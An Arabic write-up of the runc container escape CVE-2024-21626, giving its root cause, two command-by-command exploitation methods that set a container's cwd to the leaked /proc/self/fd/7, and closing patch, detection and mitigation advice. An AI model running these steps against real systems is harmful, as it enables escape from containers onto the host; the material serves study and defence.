CVE-2024-21626 - أوعية متسربة من runc

نظرة عامة

الحقل	التفاصيل
CVE	CVE-2024-21626
المكون المتأثر	runc ≤ 1.1.11
فئة الثغرة	هروب من الحاوية عبر تسرب واصف ملف
اللقب	أوعية متسربة (Leaky Vessels)

السبب الجذري

runc يسرّب واصف ملف داخلي (عادةً fd/7) يشير إلى دليل العمل الخاص بنظام الملفات المضيف قبل تنفيذ عملية الحاوية. من خلال تعيين cwd للحاوية في config.json إلى /proc/self/fd/7، تهبط العملية في دليل مضيف بدلاً من جذر الحاوية — مما يحقق هروبًا من الحاوية.

طرق الاستغلال

الطريقة الأولى - جذر يدوي من برامج المضيف

أنشئ جذرًا مصغرًا بنسخ البرامج الثنائية مباشرة من المضيف:

# 1. إنشاء هيكل الدليل
cd /tmp && mkdir -p strikoder/rootfs && cd strikoder
mkdir -p rootfs/lib64 rootfs/lib

# 2. نسخ البرامج الثنائية والمكتبات المطلوبة
cp -aL /bin rootfs/bin
cp /lib64/ld-linux-x86-64.so.2 rootfs/lib64/
cp -a /lib/x86_64-linux-gnu rootfs/lib

# 3. إنشاء تكوين OCI الافتراضي
runc spec

# 4. تعديل cwd في config.json للإشارة إلى واصف المضيف المسرب
# غيّر: "cwd": "/"
# إلى: "cwd": "/proc/self/fd/7"
vi config.json

# 5. تشغيل الحاوية باستخدام ثنائي runc المتأثر
sudo /opt/debug --log /tmp/log.json run strikontainer

ما يحدث: runc يفتح fd/7 الذي يشير إلى دليل العمل الحالي للمضيف قبل الانتقال إلى جذر الحاوية. تعيين cwd إلى /proc/self/fd/7 يجعل runc يقوم بـ chdir() إلى مسار المضيف بدلاً من الحاوية — مما يوصلك على نظام الملفات الحقيقي.

الطريقة الثانية - صورة Alpine Docker كجذر

إذا كنت بحاجة إلى بيئة أكثر اكتمالاً أو كان المضيف يحتوي على برامج محدودة:

# --- على جهاز الهجوم الخاص بك ---
# تصدير نظام ملفات Alpine مصغر
docker export $(docker create alpine:latest) > alpine.tar

# انقل alpine.tar إلى الهدف، ثم:

# --- على الهدف ---
mkdir -p /tmp/strikoder/rootfs && cd /tmp/strikoder
tar -xvf /path/to/alpine.tar -C rootfs

# إنشاء حزمة OCI
runc spec

# تعديل cwd (نفس الطريقة الأولى)
vi config.json
# "cwd": "/proc/self/fd/7"

# التشغيل
sudo /opt/debug --log /tmp/log.json run strikontainer

الكشف والتخفيف

التصحيح: قم بترقية runc إلى ≥ 1.1.12 (أو ≥ 1.2.0-rc.2)
الكشف: راقب استدعاء openat() على /proc/self/fd/ داخل إعدادات cwd للحاوية؛ أنبه على حزم OCI التي تحتوي cwd على /proc/self/fd
التخفيف: استخدم ملفات تعريف seccomp التي تحد من الوصول إلى /proc؛ فكر في الحاويات غير الجذرية أو gVisor/Kata لعزل أقوى

cve-2024-21626-runc-1.1.11-escape

الأكثر شعبية